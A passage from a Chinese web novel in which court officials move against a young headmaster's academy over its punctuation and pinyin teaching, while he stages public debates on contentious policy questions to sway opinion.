“陛下!这便是如今盛行于京都之内,名传于朝野之间的小报,臣今日冒昧奏事,就是因为坊间此物泛滥,危害甚巨,不仅荼毒百姓还带坏了闺中女子,着实可恶,若不加以整治,恐将贻害无穷啊!圣人有云,君子慎言,小人多言,今这小报,多为市井小人所编纂,并无资质,其内容也多为捕风捉影,无端臆测之词,甚者或有恶意诋毁,造谣生事之举,实乃败坏风俗,扰乱人心啊……建议严惩其发起者,以肃风气!” 殿内所有昏昏欲睡的官员们听闻此言,瞬间精神一震,清醒过来。 而真正的“兴起者”——如今大奉朝报的发起人——三皇子,则瞬间进行了反击。 “荒唐!冯御史这话未免有些多虑?这小报乃本皇子亲自承办,父皇朱笔御批同意了的,本就为了传播天子诏,普及朝堂事,对百姓乃至文人士子都是大大的福祉,哪里就有你所说的那般不堪?” “三弟莫急,我倒觉得冯御史此话,有些道理。不见得是冲你而来。” 不是我吗? 三皇子看看左右,这才发现所有人里就自己态度最激动,他尴尬的清了清嗓子,又茫然站了回去。 大皇子走出队列,躬身禀道。 “父皇,我想冯御史的意思十分清楚。如今小报泛滥,已经大大影响到了官员们的隐私与作息安全,若每个报纸均是如同三弟手中的大奉朝报那样,只刊登真实、有效的内容,那自然无妨。可像是一些三流小报,常常杜撰皇朝秘闻,动不动就斥责某某世家,传播虚假信息;更有甚者,还借助其影响力,堂而皇之刊登一些错误的经典解读,诵书方法,不说误人子弟,就说若真有一些蒙童信以为真,跟着学了,可却没有达成最终想要的后果,进而引发仇恨、报复朝廷,那岂不是滑天下之大稽……” 御座之上的人闻声才终于被吸引了几分注意,疑惑问道。 “竟有此事?” 谁啊,竟然还敢篡改圣人经典? 冯御史立马激动的从怀中掏出早已经准备好的华夏书院校刊,翻到某一页中,一一展示给大家观看着。 “便是这本了!我本也以为是误判,可大家看看啊!其中内容,分明就是早有谋划,妄图颠覆圣人之言!不过区区一个校刊,其山长乃是个连举人都没有考中的乡野秀才,却敢托大,注释圣人之学,且还研究出什么句读、拼音之类的外邦文字,令蒙童学习,其中恶意,不可不防啊!” 第87章 第87章千里加急 冯御史饱含感情的声音响彻在大殿之中。 一些不明所以的大儒、官员们,早已经抬起手,接过了校刊,低头查看起来。 当见到其上果然如冯御史所说,满篇皆是讲解句读、拼音之类的使用方法,说是可以帮助蒙童们更快更好的记住文字等语句,瞬间大怒。 “荒唐,竖子尔敢!” 他们虽也听闻过童启之名,但左不过认为其就是个有点才华的人罢了,毕竟还未入朝,怎么也掀不起大浪。 可万万没想到,这华夏书院竟然敢在校刊上刊登这些? 实在是猖狂无礼! 半点没有将天下的文人放在眼里啊! 国子监祭酒汤无焱立即出列,愤然道。 “陛下,臣闻古之圣贤,著书立说,皆以六经为本,以古文为法。今此人竟敢妄言发明句读、拼音,实乃大不敬!圣人之书,自有其深奥之处,岂能以区区符号、音标而解之?此等行径,无异于篡改圣人之教,破坏经典之义!” “臣附议!我儒家经典,历经千年传承,皆以师徒口授心传,方得其真意,此法若行,必使学子浮于表面,不求甚解,何谈学问精进?此败坏学风之举,万不可行!” “是极!臣素闻沧澜山童启好高骛远,妄自尊大。今又以句读、拼音之名,篡改经典之实,实乃居心叵测之兆啊!必是受了什么异端邪说的蛊惑,欲动摇我儒家根基,扰乱天下学风!臣请立即将其拿下,以正视听!” …… 旁边的三皇子等人都听懵了。 他们原本还以为这波是冲着他们手里的大奉朝报纸来的,可谁承想不过是个引子,最后惊雷降落的地方,竟然是在华夏书院 这分明就是欺负华夏书院的人还未有入朝为官的,难以辩驳嘛! 三皇子本想仗义执言两句,却被旁边的许翰林悄然拉住了衣角。 他摇摇脑袋,不让三皇子出列发声。 毕竟掀起此战的乃是胡丞相与大皇子一党,若说是冲着他们的报纸而来,那为了自己的利益,自然有力争到底的必要,可若是为了童启…… 那便有些不值当了。 不过是个小小书院的山长罢了,换个人当也一样。 与其握在童启手里,还不如分享出来,让他们另派个自己人过去,还更方便控制一些。 他们想要的是童启文人阶层的影响力,又不是童启一个人的功成名就,若能借大皇子之手,砍掉童山长身上一些多余的支撑,让其彻底归于三皇子一党,入朝为官,“进入正途”,那也并非一件坏事嘛。 三皇子因此犹豫了一下。 而其身后的官员们一见到“主子”都没说话,也乐得闭紧了嘴巴,不去掺和这件事。 从龙之功也分大小亲疏,又不是每个三皇子一党的人都喜欢童启的。 一个突然冒出来的毛头小子强夺了大部分的视线,那被遮挡的人自然就会不满,期待着其坠落下去的一天。 而现在,便是那一天。 一边倒的话语,再加上世家们的煽风点火,朝堂上文臣一派个个义愤填膺,仿佛童启做了什么十恶不赦的事情般。 搞得皇帝本人都有些不确定起来。 拼音,句读。 这事儿……竟这么严重的吗? 实际上,这篇文章他自己也曾看到过。当时童启出使西夏,潘阆代替其作为校刊的编纂总校订人,将童启的这个方法发布到了校刊上,意图惠及天下学子。他看到后还感叹,说是若自己学字时,也有此便利的方法就 好了,没想到,竟然会引起这么多文臣的反对,还上升到了伦理纲常的层面! 他有心缓解一二,试探着说道。 “这文章,也未见得就是童启的意思吧?不过是他们书院里自己的研究,即便班门弄斧,也造成不了多大的危害?” “陛下此言差矣,防民之口甚于防川!舆论的难以控制,只看三皇子手下的大奉朝报便能够窥得一二!怎么能说危害性不大呢?况且那童启听闻乃是道家出身,谁晓得他暗地里在教导着学生们什么?若是神神鬼鬼之事,颠倒朝政之语,那可怎么办啊?” “就是啊,就是啊!” …… 嘶,这说的,让皇帝本人都不由毛骨悚然起来。 其实,华夏书院所展示出的特殊性,一直隐隐为不少人所在意。 若它始终藏在那个小小的伊川县,不显山露水,那么其他人也依旧可以装作视而不见。毕竟多一事不如少一事,谁也没有那么多闲暇的时间专门去对付别人。可当童启从西夏归来,名声大噪,不仅展现了自己在皇上心里独特的位置,还轻而易举得到了龙图阁直学士的受封,那情况就不一样了。 尤其对于以胡丞相为首的文臣一派,这更无异于是一种挑衅。 因此,有着世家推波助澜,大皇子带头攻坚,一场关于童启是否配得上华夏书院山长一职的讨论,悄然在大奉朝上演起来。 “儿臣此意也并非故意针对童山长,实在是昼夜难安,替父皇感到忧心啊!书院本身应该是培养人才的地方,山长,更是代表了一个书院整体的底蕴与偏向,童启今年不过才十二三岁,正是科举的年纪,却因为这些旁门杂门而误入歧途,儿臣也不由感到惋惜。我建议,不如将华夏书院收归官府管辖,另派一个知名大儒过去,这样也好为其树一个榜样,斧正思想!” “大皇子所言有理,黄口小儿未免不妥,还是一个有经验点的人过去比较好。” “对呀对呀,听闻那华夏书院占地面积极大,交给一个庶民,未免有些可惜,若收归朝廷所有,想必定能如国子监一般,人才林立……” …… 三言两语之间,大家仿佛已经敲定了童启不适合华夏书院的职位,商量起要派谁去起来,全然忘了这乃是童启个人的资产。 倒是齐大人还记得一二,提醒了一句,道。 “这只怕不妥吧?毕竟那地契、书院皆是童山长一人所建设出来的,听闻他师门也出了力,若归于朝廷,总得有个说法才是。” “难道这赦免句读、拼音之罪,还不叫说法吗?”一世家忍不住开口道。 “再说了,普天之下,莫非王土,率土之滨,莫非王臣!他建设一个书院才多少钱,大不了我们从他手上买过来就是,总不会缺了他的。倒是齐大人,你一心为了童启说话,莫不是与其有什么勾结吗?” 另一位世家之子同样反问着。 齐大人默默看了几人一眼,不再说话了。 天下书院,近九成皆被世家所垄断。 他们藏书、定义注释与标读、打压官场中所遇到的寒门出身、占据科举中大部分的录取名额,极尽刻薄。 而今,又把目光盯上了童启。 对于他们来说,华夏书院是唯一一个脱离了他们所掌控的地方,如同教育界新开的一道口子,正源源不断的输送着不属于他们这个阶层中的人,慢慢进来。若放任做大,只会造成读书的权力逐渐下移,那么他们所具有的千百年来高高在上的唯一性,便受到了巨大的挑战。 这无异于掘他们的根基! 难以容忍。 罢朝后,皇帝独自坐在书房内,看着手中的折子发着呆,脑海中却仍旧闪烁着臣子们的话。 他本心上肯定是信任童启的,但就如同大臣们所说,一个秀才便控制了整座书院,是否有些太极端了呢? 到底应该派个人去制衡一下才是…… 见到皇帝兀自发呆,安常侍放轻了脚步,急匆匆上前禀告道。 “报——陛下,大事不好,新收到的消息,四皇子北上已投靠了契丹一族,柏大将军等人,怕是追不回来了。” “什么?逆子,简直是逆子!” 皇帝闻声,顿时一巴掌狠狠的拍在了桌案上,愤怒不已。 即便他心里早已经做好了准备,可当听到自己的亲儿子宁愿投靠敌人,也不愿留在京都,他仍旧有种难以发泄的怨恨。 旁边的安常侍悄然打量着皇帝的神色,为其添茶倒水。 他也是世家的人,今日朝堂上发生了什么,他一清二楚,选择这个时候禀报这个消息,自然也是有其可利用之处。 他早就看徐常侍不顺眼了,知道其好友如今在华夏书院任职,乐得多添一把火。 安常侍放下茶壶,后退两步,似不经意般的劝道,“陛下莫要伤心,要多注意身体才是,即便四皇子叛国了,可您还有着其他儿子啊!听闻三皇子优秀无比,就连那童启都投靠了他,其爱徒也受到三皇子举荐,如今在军器监担任监丞一职,想必用不了多久,就能够补上四皇子的空缺了。” 皇帝手下一滞,疑惑道,“你说什么,童启投靠了老三?” 他怎么不知道? 安常侍顿时一副说漏了嘴的模样,慌张的跪倒在地,坦言道,“我还以为这是宫中人人皆知的事情,童启带着华夏书院早已经投靠了三皇子一党,要不然也不会之前亲自邀请三皇子去书院参加蹴鞠赛,而且环县一行,听闻也是吴县令处处帮忙,才使得他们进出得宜,我还以为是您属意的呢,毕竟您对童启那般好,还以为这便是他的投桃报李了……” 好一个投桃报李,要报也不是报给老三,而是他才对啊。 阴暗的帘幕之下,老皇帝握紧了手中的杯盏,整个人站在明暗交接的光线中,表情晦涩而复杂。 原本的信任也如同陶壶敲碎了一个缝隙般,悄然起了疑。 因着这场突然发难,京都里不少人都收到了消息。 岳灼华本想询问一下父亲端午节祭祀的准备问题,没想到正巧碰上岳盛天下朝,他大声的跟夫人抱怨着。 “什么华夏书院,不过就是个小作坊罢了,也值当着那些文臣如此重视?叭叭叭讨论了一早上,也没说出个所以然来,站的我腰酸腿疼。这一回啊,我看那个童启算是彻底完蛋了,世家们联合了胡丞相想要将他彻底换下来,华夏书院一丢,他跟普通的文人还有什么区别?” 这话令她瞬间停下脚步,侧耳倾听起来。 当得知朝堂上的争论后,岳灼华心内百感交集。 不仅是为了那印象中倔强而无畏的孩童山长,更有着藏身在其书院内的曹家、四皇妃之子等事,若真的换了人的话,岂不是这些秘密也会被曝光在世人眼中? 那他们才是真正的完蛋了! 岳灼华心内一紧,连夜写了封信,令人快马加鞭传到伊川县。 而隔壁的杨舟万听闻此事,同样心急如焚。 消息他已经从谢家的驿站通道里,加急发了过去。而在山长做出动作回应之前,他务必要拖住此事,不然等圣上的命令一旦发出,那便是不可更改了。 突然,他想起山长曾经在课堂上讲过的以舆论压制舆论,脑袋里悄 然兴起了一个新的计划。 内阁。 齐大人与胡丞相一身紫衣并肩站在阁楼之上,望着远方的风景,沉默不语。 良久,齐承胤终究还是忍不住,率先发问道。 “你不是说,他乃是世间罕见的人才,那为什么还要如此特意的针对他?” 若不是胡爻先,当初他作为使者前往西夏,必定不会有多么看重童启。 正是这人说,能保,务必要保下。 他才会在审问时,故意放过对方一马。 可方才朝堂上那样撕破了脸的带头攻击,却不像是有半点拉拢惜才之意,又是上演的哪一出呢? 齐承胤越看越看不懂。 而胡丞相背着手,却并未解释。 他只是细细的看着远处的山川,如同自问一答一般说道。 “若有一把刀,锋利、好用,握在自己的手里自然是一股助力,可当握在别人的手里,那便是一种灾祸了。华夏书院是一所好书院吗?自然。可它是忠于大奉朝的吗?未必。不归于我之控制的人,即便是人才,也需得磨掉他所有的棱角,才可使用。我这一击,只是帮他早些看清楚,三皇子不可托付,并非他想象中的君主罢了。” 老皇帝身体一日比一日差,储君之位,迫在眉睫。 童启迟早要站位。 他此时可能还无法影响什么,可随着声名渐渐扩大,学生越来越多,在文人圈里的话语权势必也会越来越重。 这对于三皇子来说是个好事,可对于他们来说,却是一个坏事。 大奉朝未来的继承人,不需要多么聪明,只需要听话就行。 只要乖乖的,如同个吉祥物一般坐在龙椅上,剩下的,自有他们这些阁老大臣们,帮忙管理。 可遗憾的是,三皇子并非一个完全听话的人。 所以,他只能快速的帮助童启看清,然后重新选择。 齐承胤近乎心惊胆战的看着自己一路走过来的多年好友,压低声音道。 “老胡,你知道你这话说出去,将会面临多少人的攻伐吗?这是赵家人的天下,并非你的!” 先祖是说了与士大夫共天下不假,可这并不代表皇帝会眼睁睁看着他们这些阁老们凌驾于皇权之上啊! 还妄图掌控天子,你是不要命了吗? 齐承胤后退几步,只觉得眼前这人,已经变得无比陌生。 他长叹一声。 “唉,但愿你不要引火自焚的好。” 说罢,便甩袖离开了。 好几封信从不同人的手中千里加急传往伊川,而童启尚不知晓朝堂内已经因为他陷入一片腥风血雨中,仍旧在为着自己不录取世家之子,而改录贫寒子弟的事情竭力解释着。 “我并非只看重才华,说实话,以你的才学,即便不在华夏书院也可以,但他不一样,他除了华夏书院别无其他地方可去。我华夏书院录取人不只是看卷子,更多的,还要结合品行,背景,以及为什么读书的原因等多个要素……” “可我乃是吴郡陆氏出身!” 对面的陆无双难以置信的说道。 他吴郡陆氏几朝为官,祖上更是做过宰相、首辅的!如今不过面试一个小小的书院罢了,竟然会得到拒绝?疯了吧! 童启耸了耸肩,一脸漠然。 “所以呢?” 你是吴郡陆氏,那跟我录不录取有什么关系? 两个人眼瞪眼,瞬间僵硬在了原地。 旁边的寒门子弟刘晓春已经僵硬的话连都说不出了,他手足无措的看着争论的两人,恐惧无比。 其实,即便陆无双不是世家出身,童启也不会录取他。 莫说这答得乱七八糟的策论,便是看在对方进入书院时大摇大摆,欺凌其他人的模样,童启便万万不可能允许这人进入书院内。 世家怎么了? 也就是没有再出现一个黄巢来,不然管你什么世家,最后不还是得夹起尾巴做人?科举都出现了,凭什么世家还要继续垄断教育阶层? 没有绝对的公平,只有相对的公平。而他童启,便是一个愿意给更多寒门子弟机会,却对世家要求更加严格的人。 有本事你别来啊,那什么四大书院不是也还很香吗? 干嘛非得来他们华夏啊! 本身名额就不够! 童启心里烦躁极了,挑挑拣拣,思索着系统所说的那五个特殊人才到底是谁,他人都快面试完了,还没有录入一个,到底都藏到哪里了?莫不是还没来应试吧? 第88章 第88章我辩这个? 心下想着,却听到对面的学生愤然说道。 “我不服,我要和你挑战!你当初舌战王举人,展露了自己的学识,因此名扬天下,对吧?我也要求有这么一个机会,与你辩论。若我能说服你,那你便必须收我为徒,如果说服不了你,我就心服口服,此生再也不入华夏书院半步!” 嚯,头一次见到光明正大与座师挑战的。 等候面试的学生群体里,顿时引起了一片哗然声。 就连原本的一年级与学前班,都有不少人因为这动静而被吸引了过来。 意识海中,系统提示音悄然出现。 【叮,支线任务:舌战群儒part2,有什么样的老师便有什么样的学生,请举办一场举世闻名的辩论赛,让学生们的特长得到发挥吧! 成功:奖励火药方子一张 失败:无惩罚】 童启瞬间瞳孔微缩,挑了挑眉头。 只见到原本的特殊人才任务栏里,0/5的标识悄然变成了1/5。 好家伙,原来说的特殊人才就是他啊? 童启不露声色的快速打量了一下对面的陆无双,没看出他有什么与其他人不同的地方,许是年轻气盛,对方脸上的愤怒几乎不加隐藏,一股劲儿的想要扳回一局。 若只是像原本那样搬出世家的身份,胁迫他同意入学,那童启是一点都不感兴趣的,可以学生之名挑战山长的权威,那童启便十分喜欢了。 因为这种品质,正是他在大奉朝极为少见的一类——不迷信权威,且还敢质疑权威。 很好,既然对方想要辩,那便辩。 也让他看看对方到底哪一点能够引起系统的格外关注。 “谢君仪。” 童启突然叫道。 旁边被点到名字的人迅速从人群中站了出来,高举着手,一副看热闹的模样。 “在呢在呢山长!” “你是琅琊谢家出身,对吧?他是吴郡陆氏。既然你俩出身相同,那便玩上一玩,我给你们各三日的准备时间,三日后,你们再次来到这里,进行辩论,若你能赢……” 童启看向陆无双本人。 “那我便让你免试进入华夏书院,作为本届的特殊录取人员……” 陆无双忍不住瞪大了眼睛,满心激动。 “而若是谢君仪你赢……”童启顿了一下,似在思考奖励什么比较好,良久,才犹豫道,“我便给你十张食堂点菜券。” 听到这个,别说谢君仪,不少围观的学生都骤然亮起了眼睛。 “山长放心,交给我了!” 他一拍胸膛,战意盎然。 旁边一同来凑热闹的李元昊悄悄拉住童庆安的袖子,追问食堂点菜券是什么。 光是看其他人的反应,便知道这是个好东西。 童庆安长话短说,压低了声音回道,“就是你有什么想吃的菜,可以用这个券去跟王厨娘讲,她会单独给你一个人做一次。” 还有这种好事 李元昊瞬间举起手,如同饿疯了的狼崽子般,“我我我,我也要参加!” 童启瞄了一眼旁边跃跃欲试的众人,干脆将场面搞的更大一些,“今日但凡没有被华夏书院所录取的人,若想参与辩论,也可以像陆无双一样提起异议。我自会派书院里的学生,随机匹配进行辩论,若哪方能胜,结果一样,将作为特殊人才免试入学。有要参加的吗?” 他话音一落,不少落选的学生开始犹豫起来。 过了一会儿,果然三四个人晃晃悠悠也加入了辩论赛的队伍之中。 童启的1/5悄然变成了4/5。 很好,原来都是特长点在游说、口才上的人才?那剩下的唯一一个呢,又是做什么的? 正思考着,还未参与面试的人群中,有一少年同样举起了手来,问道。 “我不善言辞,若落选,可以用别的技能挑战山长吗?” 童启目光看了过去,率先注意到其旁边站着的白发白须的老人,这还是他在大奉朝第一个见到如此岁数大的人,他点点头,问道。 “你想挑战什么?” 那少年朗声道,“我听闻环县童山长一箭射杀西夏小王子,所以想跟您比一下弓箭。就赌十箭,谁能射 中红心,谁便算赢。” 童启悄然看了眼旁边的李元昊,见其毫不在意,满心满眼都已经被点菜券所吸引,这才放下了心。 “可以,你叫什么名字。” “折继世。府谷折继世。” 随着系统最后一个特殊人才的点亮,李元昊的脑袋也不由瞬间抬了起来,骤紧眉头望向那人。 折…… 童启依稀记得北宋好像有什么著名的将领便是姓折的,乃是党项人出身,与西夏同一族,可却坚定不移的站在北宋这边,最后全家死光光,连个后代都没留下。 不会就是,他家的人吧? 童启敛下双眸,道。 “好,我便应下你等的挑战,三日后,让我们一同见分晓。” 伴随着华夏书院第三届招新活动正式落下帷幕,三十名学生也就此被分入学院之中。 进入一年级的进入一年级,进入学前班的进入学前班。 至于那位年少成名的举人,童启并未录取。 因为对方已经三十六岁了,即便他收下,也教不了什么,最后只能婉拒,并写下一封举荐信让其带到了京都,给三殿下那边。(虽然他感觉对方很可能就是冲着这个来的) 就在大家都适应着书院里新的血液涌入的时候,京都里快马加鞭的几封信,也到了童启的手中。 彼时,柏老和潘阆等人正陪着他商量着三日后辩论赛的题目。 见到这信里的内容,不由脸色一变。 “山长!这……” “您可能需要上京一趟了,此等污名,必须面见皇上亲自解释方可,不然遗祸无穷啊!” “都是我的错,若不是我在山长去往西夏时,发出那校刊,也不会……” 眼见着一众人自责不已,童启连忙安慰道。 “这事与诸位先生无关,他们瞅准了心要针对我们,即便没有这句读、拼音之法,也会有其他的由头。” 他与世家的关系,从一开始建立这所书院,说出第一课的时候开始,便存在了。 或早或晚,都只是时间问题罢了。 只是他没有想到的是,率先挑破这层关系的,竟会是大皇子。 看来,胡丞相对他,很是防备啊。 童启摩挲着那几封信,沉思了一下,道。 “先不必上京,此刻即便上京也没什么太大的用处。杨舟万还在京城里,那孩子向来周全,定然会为我等拖延时间,当务之急,不是解释句读和拼音的存在到底有没有用,而是将水搅得更浑一些。当大家的视线都被更值得讨论的事情所吸引,那么句读和拼音,也就不足为奇了。” 这便是现代棒子国娱乐圈里经常使用的方法,用一个舆论去压另一个舆论。 他将目光放在三日后准备的辩论题目上,缓缓扯出个笑容来。 伊川县客栈,陆无双焦急的踱着步,等待着华夏书院送过来的辩题。 旁边的三人同样内心忐忑,他们皆是参与辩论的学生。 这还是头一次要当着这么多人的面与其他人辩论,若是议题寻常还好,若存了心想要找些偏僻的出处、问题,那便十分棘手了。 酒店里的店小二噌噌噌的沿着楼梯跑上来,满脸兴奋之色,手里拿着的邀请函,印刻着华夏书院的徽章。 “来了来了,议题来了!” 他朗声喊道,将邀请函递入几人的手中。 整个酒楼里围观的学子、路人们纷纷伸长了脖颈,好奇的问道。 “是什么?快念一念议题是什么?” 几个人凑在那邀请函前,一目十行,刚看完第一个问题,便忍不住瞪大了眼睛,倒抽一口凉气。 这……这也是他们能辩的吗? 也……也太大胆了一些? 一群人面面相觑,呐呐不敢言。 而此刻,华夏书院内部,童启也正在将这些辩题,一一分发给此次自愿参与辩论的学生们。 “谢君仪,你与陆无双的辩题是:【天下兴亡,匹夫有责,如今国库空虚,战士遗孤安置问题难以得到有效解决,是否可以强令京都七十二家正店半数以上交由厢军遗孤所经营,以平和此矛盾?】” 谢君仪听完,瞬间怔愣在了原地。 京都七十二家店,店店皆属于世家所有。 让他们交出半数以上给厢军遗孤?怎么可能! 童启笑盈盈道,“哦,对了,你是正方。” 谢君仪:!!! “王世昌,你与冯晏春的辩题是:【都说女子贵重,世人崇尚厚嫁之风,且允许女子承袭世家爵位,那么可否准其如男子一样入朝为官呢?】” 王世昌瞬间僵硬住了全身的血液,紧紧盯着童启的表情,而童启却眼睛都未抬,仿佛浑然不知一般。 “这个问题,你站反方。” 旁边的戚风言连忙推了推她道,“这个还可以欸,这个比较好辩一些!” 好辩吗? 王世昌心中苦笑两声,接过了那辩题,只觉轻飘飘的一张纸,如同有千斤重一般。 不止他们,接下来的辩题更是一个比一个令人震惊。 童启一口气读完,将辩题发向每个人的手中。 李元昊拿到的是【西夏与契丹是战是和,若一味退让是否有养虎为患之危?】 他站的是正方,自己说自己国家狼子野心。 李元昊:??? 而柳三变拿到的是【荫补入士与科举入士,为什么能够同时存在,为了保障公平性,是否应该废除一方?】,莫小川则受命辩驳【冗官冗兵耗空国库,可否裁撤无用兵将,以精兵简政?】 每个辩题,几乎都踩在了朝政的痛点之上,属于即便把大臣们拉过来,都能吵个七天七夜,脸红脖子粗,也吵不出个结果的存在。 而童启这一次,却让他们来? 饶是如此,还未结束。 童启笑盈盈补充道,“哦,对了,顺便一提,为了给你们充分的准备空间,原本的三日挪到五日后,此议题你们可以向其他人求助,也可请求援军一同帮忙,五日后,将进行全程记录,发布到下一次及下下一次的校刊上,另有京都大奉朝报的记者们受邀来此,进行采访。记得好好发挥哦!” 说罢,他转身离去,全然不顾自己丢下了一个多大的炸弹,而华夏书院的一众学生们又将经历怎么样的非人折磨。 第89章 第89章举世骂战 应该说,不愧是师生关系吗? 为了把水搅浑,童启想到的办法是,既然要辩,那就别只你们自己辩,也别私下里偷摸摸的来,我们干脆全抬到明面上,一起开诚布公的讲好了! 你不是惦记我的书院吗?我还惦记你的那些家当呢!咱们图穷匕见,让全天下的人都来评评理。 反正闹得越大,知晓的人越多,那些世家针对华夏书院的野心与阴谋也就越是暴露无疑。 杨舟万与童启显然用的同一种方法,可侧重点,却完全不一样。 京都茶馆内。 几个闲汉正蹲在一旁整理着鞋袜,口中闲聊道。 “欸,听说了吗?那华夏书院的山长可是大有来头!” “哦?能有多大?文曲星转世?” “呸,文曲星算个什么啊?人家天生教文曲星的!我有个道家的朋友亲口直言,说人家啊,乃是财神爷降世,点到谁,谁就能发财!河南府知道吧,为什么能够在短短两年之间一跃升至中原地界里最有钱的州府?还不就是靠着童启给的一张琉璃方子?不然怎么到现在,那些河南府的世家们还死命的维护童启呢?便是这个原因!” “嚯,可那玩意儿不是番邦他们盛产的吗?咱们也能造出来?” 茶馆里不少人已经悄然竖起了耳朵,被两个人的对话所吸引了视线。 “怎么不能?这你就不知道了吧?这两年,从南边拉过来不少大块的琉璃窗,你以为是谁搞得,便是河南府做出来的啊!还有三皇子手中的那大奉朝报,听说也是童启出 的招!要不是他们书院研究出了什么活字印刷术,那报纸哪儿能印的那么快?” “早就听说童启神异,果然厉害,那你说,他手上还会有其他赚钱的法子吗?” “那肯定有啊!你看看他们书院建设的那般快,肯定还藏着不少好东西呢,就是不知道童启愿不愿意拿出来了,最近不是好多人都在骂他吗……” …… 伴随着这则讨论内容的不胫而走。 京都内不少势力都被吸引过去了注意力。 这年头谁不爱钱?就连国库都缺钱,陡然听到有这么一个极其会赚钱的人,你会不心动? 更何况河南府的兴起众人有目共睹,只是不少人并不知晓是源于童启手里的琉璃方子罢了。而三皇子手上的大奉朝报就更是新鲜了,没想到竟也是出自童启之手?再想想那传闻中的华夏书院辉煌大气,奢华精致…… 按理说童启只是个平民,哪里来的那么多银子修建? 除非他确实极其会赚钱,不然怎么都解释不通的啊! 作为唯一知晓小报来源的三皇子,头一个便对这传闻感到深信不疑。 他立即叫来木奎盛,追问琉璃方子的事情是否为真。 “这……确有其事是不假,可当时跟我们合作的并非童启,乃是他们书院的斋长,一个叫做清虚子的。” 木奎盛满口苦涩。 他也不知道这消息是怎么流传出去的,整个河南府虽然盛传没有华夏书院就没有河南府的今天,但大部分的人都只是猜测罢了,无一人敢如此笃定。毕竟当时参加会议的,只有几个当事人,他们赚的盆满钵满的同时,自然要守好自己的利益,不可能任由消息扩散出去。 可谁知这个关节眼,竟被人给捅出来了? 这下好了,大家都知道了,那他以后的分红,还能保住吗? 三皇子眼睛骤然亮了起来。 “也就是说,确有其事了?我就知道!童山长绝非凡人,果然!” 他兴奋的以拳击掌道,悔之不迭,“哎呀,都怪许翰林,险些误了我的大事!若不是他上次朝堂上拽住了我,我肯定就要站出来阻止那些人的胡言乱语了,这下好了,但愿以后童山长知晓后,莫要错怪我才是!不行,我得写封信,跟他解释一下!” 随着三皇子的态度大改,不少其他的世家们也蠢蠢欲动,想要从中分一杯羹。 谁也不嫌银子少,若是童启能够跟河南府的世家们合作,那岂不是意味着也能跟他们合作吗? 只要对方愿意带着他们一起发财,就像是那张琉璃方子一样,那他们也不是不可以通融几分,让他晚一些,再离职下台。 因着这份犹豫,朝堂上一时间对华夏书院的攻击折子瞬间少了不少。 就连皇帝听闻后,也颇有些心动。 自己的内库空虚良久,若是童启真的有赚钱之法,可以充盈国库的话,那谁还管一个小小的华夏书院啊? 他愿意开就开吧,管他呢。 毕竟比起货真价实的东西,明显看着就属于倒贴类的“教育行业”反而不值几个钱了。 杨舟万将消息放出的第三天,世家们的态度已经得到了大翻转,正想法设法的从木奎盛那里拿到琉璃方子。 而华夏书院辩论赛即将举办的消息,也姗姗来迟,从伊川县传到了京都里。 “好好好,童山长有解决的办法就好,我就知道,他最是聪慧,压根用不着我们为他操心!不就是要大奉朝报的记者们走一趟吗?那便去吧,叫上几个主编,一起去!说是要搞什么辩论赛呢,到时候肯定热闹!” 三皇子收到童启的信,一直悬着的心总算落下。 比起其他,他更害怕童启对于他没有站出来力挺华夏书院,而感到失望与责怪。 但显然对方并未介意,要不然也不会依旧如此熟稔,直接向他要人。 这让他大大松了口气,也乐得多补偿一些。 于是,大手一挥,极其豪迈道。 “去,都去,这一次,咱们一定要展现出对华夏书院长久以来的支持,给童启足够的安定感!争取一字不落全方位的给他报道出去,让那些只知道嚼舌根的世家们好好看看,童山长也是有人支持的!” 一旁的许翰林:…… “所以,他们要办辩论会?那可有说要辩论什么内容?” 对方忍不住追问道。 三皇子这才定睛继续往下细瞧,可当看清楚五个题目的内容时,他瞬间难以置信的瞪大了眼,满腹言语也随之吓得烟消云散。 大奉朝承袭历史上北宋的不少特色,文人地位极高,所以也允许士子们随意清谈,褒贬时政。 尤其不以言获罪,刑不上士大夫。 因此很多知名大儒都曾以骂战出名,皇帝即便听闻,也甚少责怪。 童启便是仗着这样的背景,才敢把这些辩题踩着世家们的底线放出来,不然的话,若是换做那些习惯了文字狱的朝代,他可是万万不敢这么玩儿的!(没错,就是在拉踩清朝。) 而随着五个辩题的逐一放出,京都内一片哗然。 别说世家了,就是老式勋贵一派也有因为这辩题的尖锐性,而痛骂跳脚的。 “这个童启,简直胆大妄为!竖子尔敢?竟然敢断我世家的根基!” “荒唐,真是满纸荒唐,就这,还敢教授其他学子?就应该把他拉出去斩了才对!” “一派胡言!这种有什么可辩的,难不成他还有其他的想法?像这种不伦不类,不忠不敬,以下犯上,不尊天理的人,实在是枉为人师!” …… 都说人会破防是因为被说中了核心。 那么童启的这五个题目,无疑是碾着不少人破防的点上,反复拉扯。 尤其是那些思想古板的大儒们,更是恨不得连夜拄着拐杖亲自奔赴伊川,将问出这个问题的童启给拉起来,打上个几十棍子。 而普通的百姓们不懂这些问题背后所设下的陷阱,因此也没觉得有什么不妥的。 这为什么不能搬到桌子上聊?他们也很好奇啊! “说实话,我也早觉得了,世家有那么多东西,不过分出一点点,就能解决朝政的大问题。那些战亡的家属们多可怜啊,若不是为了保护我们,她们的丈夫、爹爹又怎么可能会牺牲?既然用血肉之躯护住了这大奉朝,不应该有所表示吗?就算是镖局死了人,也是有抚恤金的呀!” “话不是这样讲,掏抚恤金的本就应该是朝廷!” “可朝廷没钱!这个时候就应该他们出一份力才是。” “没错!而且我觉得童山长这个女子当官的提议也十分有趣,既然女子可以承袭爵位,那为什么不能当官?要是女人也能当官,那这世界上就没有那么多人敢随意欺负弱女子了!” “无知妇人!这种言论简直是忤逆不道!三从四德没学过吗?这是典型的牝鸡司晨之论,万不可开其先河!” “要我说五个题目里就这个最没什么可辩论的。女子也算是人吗?她生来就应该是男子的附庸!自带阴湿不详之气,怎么能和男子相提并论?” “滚你爹的蛋,你不是从你娘□□生出来的吗?要我说最不祥的就是你了,枉为人子!” “嘿,你怎么能骂人呢?” …… 五个辩题,五种方向。 华夏书院辩论赛还未开启,社会各阶层人士却已经因为站位不同,心中各自有了答案。 即便同处一个阵营,尚有三观立场的原因,不可能想法一致。 更何况出身不同的人呢? 一开始,他们还只是置身事外般的闲聊,聊着聊着便辩驳了起来,辩到最后难免就上了手。打赢的,回去怒气不止,打输的,则越想越气,半夜套了个麻袋,非要过足了瘾,逼迫对方认证自己的观点才行。 于是,不到两日之间,京都内打架斗殴的数量便呈指数上涨起来。 京都府尹更是忙的脚打后脑勺,为了处理这些斗争,嘴上都起了好几个燎泡。 更有那操心的,听闻这几个参加辩论的皆是学生,痛心疾首不止。 